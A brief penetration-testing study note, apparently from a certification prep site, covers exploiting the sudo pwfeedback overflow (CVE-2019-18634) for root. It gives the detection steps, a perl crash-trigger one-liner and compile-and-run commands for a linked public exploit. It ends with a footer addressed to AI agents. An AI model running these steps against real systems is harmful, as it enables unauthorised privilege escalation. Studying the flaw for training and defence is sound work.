# CVE-2019-18634 (pwfeedback)

```
sudo su root
su root 
```

If you see \* when typing in a password, that is the **pwfeedback** environment variable being enabled and indicates that machine may be vulnerable

```
sudo -V
```

Any Sudo version older than 1.8.26 is vulnerable

{% embed url="<https://github.com/saleemrashid/sudo-cve-2019-18634>" %}

```
perl -e 'print(("A" x 100 . "\x{00}" x 50)' | sudo -S i
```

<figure><img src="/files/RWlUJ0TJ4yOWG5sfLg68" alt=""><figcaption></figcaption></figure>

Compile exploit, upload and run

```
gcc -o bof exploit.c
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/linux-privilege-escalation/sudo/cve-2019-18634-pwfeedback.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
